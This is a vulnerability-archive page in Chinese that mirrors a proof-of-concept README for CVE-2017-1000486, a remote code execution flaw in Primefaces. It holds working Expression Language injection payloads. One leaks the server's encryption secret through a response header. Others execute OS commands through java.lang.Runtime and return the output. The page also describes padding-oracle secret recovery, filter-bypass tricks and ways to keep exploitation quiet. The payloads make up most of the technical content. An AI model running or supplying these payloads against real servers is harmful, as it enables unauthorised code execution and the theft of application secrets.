目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2017-1000486 PoC — Primetek Primefaces 加密问题漏洞

来源
关联漏洞
标题: Primetek Primefaces 加密问题漏洞 (CVE-2017-1000486)
Description:Primetek Primefaces是一个开源的使用在Java EE系统中的UI库。 Primetek Primefaces 5.x版本中存在加密问题漏洞。远程攻击者可利用该漏洞执行代码。
介绍
# CVE-2017-1000486

This is a PoC of CVE-2017-1000486 with some payloads useful to bypass blacklisting lexicographic checks on standard functions used to achieve RCE (getClass(), exec(), etc..) and for retrieving primefaces secret through Padding Oracle in order to be less noisy possible on exploitation.

#### Thanks to *@pimps*, *@federicodotta* and *@AonCyberLabs* for their work related on the topic. 

## Description

This PoC is a multi-step script useful to analyze the context of every application and web servers libraries available.

Initially, padBuster perl script written by @AonCyberLabs is used in order to retrieve the primefaces secret, if it is not manually provided. This could be useful in order to reduce the number of request made to the server on subsequent payload encryption speeding up the whole process. The time requested to exploit the Padding Oracle vulnerability is directly proportional on the size of the payloads, using it only in the first stage on a pretty smaller payload enhance a lot the performance. 
I don't want to rewrite the all code of padBuster in order to integrate directly with python, so a clean command execution via OS is made in order to run it.

EL payload:
```java
${facesContext["getExternalContext"]()["setResponseHeader"]("SECRET",initParam["primefaces.SECRET"])}
```

A simple check with an EL that perform an header injection is made in order to check the EL code execution. Consider that in this case two methods are available setResponseHeader and addResponseHeader, other methods available could be retrieved from official documentation.

EL payload:
```java
${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}
```

Then a series of check on available implicit variables is made to highligh some potential problems caused by custom web server libraries that didn't offer all the implicit variable, as IBM WebLogic. Moreover is retrieved the version of Java Runtime trying to be more specific possible with the payload.

In fact, I observe that on Java <=7 there are some parameter type confusion on methods called. I suppose this happened due to the variable type assignation performed by EL parser. In order to avoid that, the script refers to specific methods via getDeclaredMethods() array, in this case is needed the identintification of the correct index for each method used. This obviously increment the size of the payload but provide a lot of resiliency.  

In order to create a byte array as buffer a workaround through "".format("%0999d",0).getBytes(), creating a 999 length size buffer, or "0000000".getBytes() creating a 7 length size buffer, is used.

Standard EL:

```java
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"]("command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}
```

EL with getDeclaredMethods():
```java
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}
```

## Improvements

- Methods on JSF can be called via \["method"]\() reference, not only as standard Java with dot notation .method(). This could help to bypass filter made on server between the decryption and the execution of the EL.

- getClass() could be subsitute with \["class"] statement

- facesContext.getExternalContext().getSession(true).putValue() could be substitute by session.setAttribute(), as general approach every map could be used as repository to store variables

## Disclaimer

THIS TOOL IS BEING PROVIDED FOR EDUCATIONAL PURPOSES ONLY, WITH THE INTENT FOR RESEARCH PURPOSES ONLY.

You may not use this software for any illegal or unethical purpose; including activities which would give rise to criminal or civil liability.

USE ON YOUR OWN RISK. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER OR CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →